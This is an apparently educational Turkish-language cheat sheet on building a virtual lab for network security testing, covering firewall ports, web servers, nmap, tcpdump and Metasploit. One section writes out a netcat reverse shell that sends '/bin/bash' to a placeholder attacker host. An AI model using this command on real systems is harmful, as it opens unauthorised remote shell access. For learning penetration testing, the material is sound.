Sanal Sunucu Kurma
Araçlar: VirtualBox veya VMware kullanarak sanal makine oluştur.
İşletim Sistemi: Ubuntu, Debian veya Kali Linux gibi bir Linux dağıtımı kur.
Port Açma (Firewall Yönetimi)
ufw Kullanarak Port Açma:
sudo ufw allow <port>/tcp (Örnek: sudo ufw allow 8080/tcp)
-iptables Kullanarak Port Açma:
sudo iptables -A INPUT -p tcp --dport <port> -j ACCEPT (Örnek: sudo iptables -A INPUT -p tcp --dport 8080 -j ACCEPT)
-Durum Kontrolü:
sudo ufw status
Web Sunucu Kurma
Apache Kurma:
sudo apt install apache2 ardından Apache’nin 8080 portunu dinlemesi için yapılandırmayı düzenle.
Nginx Kurma:
sudo apt install nginx ardından 8080 portunda dinlemesi için konfigürasyonu değiştir.
Güvenlik Testi Yapma
Nmap ile Port Tarama:
nmap <Hedef-IP>
Netcat ile Bağlantı Testi:
nc -l 8080 (Sunucu), nc <Sunucu-IP> 8080 (Client)
Metasploit, Wireshark ve Burp Suite Kullanımı
Metasploit: Güvenlik açıklarını test etmek için msfconsole kullanarak exploit yapabilirsin.
Wireshark: Ağ trafiğini izlemek ve analiz etmek için kullanılır.
Burp Suite: Web uygulamalarında güvenlik açıklarını test et.
Ağ Trafiği İzleme
Tcpdump Kullanarak Trafik İzleme:
sudo tcpdump -i eth0 port 8080
Wireshark ile Paket Analizi: Ağdaki paketleri detaylı inceleyebilirsin.
Log Dosyalarını İnceleme
-Log Dosyaları: /var/log/auth.log, /var/log/syslog gibi dosyaları inceleyerek şüpheli aktiviteleri tespit et.
Reverse Shell Kurma
Netcat ile Reverse Shell:
Saldırgan makinesi: nc -lvp 4444
Hedef makine: nc -e /bin/bash <attacker-ip> 4444
Ağ Yapılandırması
NAT ve IP Maskeleme: Ağ gizliliği sağlamak için kullanılır.
VLAN ve Subnetting: Ağ segmentasyonu yaparak güvenliği artırabilirsin.
Sanal sunucu kurma ve güvenlik testleri yapmak, ağ yapılandırmalarını incelemek ve güvenlik açıklarını test etmek oldukça kapsamlı ve pratik bir konu. Öncelikle VirtualBox veya VMware gibi sanal makineler üzerinde Linux işletim sistemleri kurarak, çeşitli ağ güvenliği araçlarını test edebilirsin. Port açma, firewall yönetimi, web sunucusu kurulumu ve güvenlik testleri gibi adımlar, sızma testleri ve ağ güvenliği analizlerini simüle etmenin temel aşamalarıdır.
Ağ Trafiği İzleme ve Güvenlik Testi Yapma aşamalarında, Nmap, Netcat, Wireshark gibi araçları kullanarak hedef sistemleri tarayabilir ve güvenlik açıklarını keşfedebilirsin. Ayrıca, Metasploit, Wireshark, Burp Suite gibi araçlar, güvenlik açıklarını analiz etme ve exploitleme konusunda oldukça kullanışlıdır.
Ayrıca, Reverse Shell ve Ağ Yapılandırması gibi konular, ileri düzey güvenlik testlerinde kullanılır. Bu aşamalar hakkında daha derinlemesine bilgi edinmek, bir güvenlik uzmanının temel yetkinliklerinden biridir. Tüm bu süreçleri anlamak ve detaylıca araştırmak, ağ güvenliği ve sızma testleri konusunda kapsamlı bir bilgi sahibi olmanı sağlar.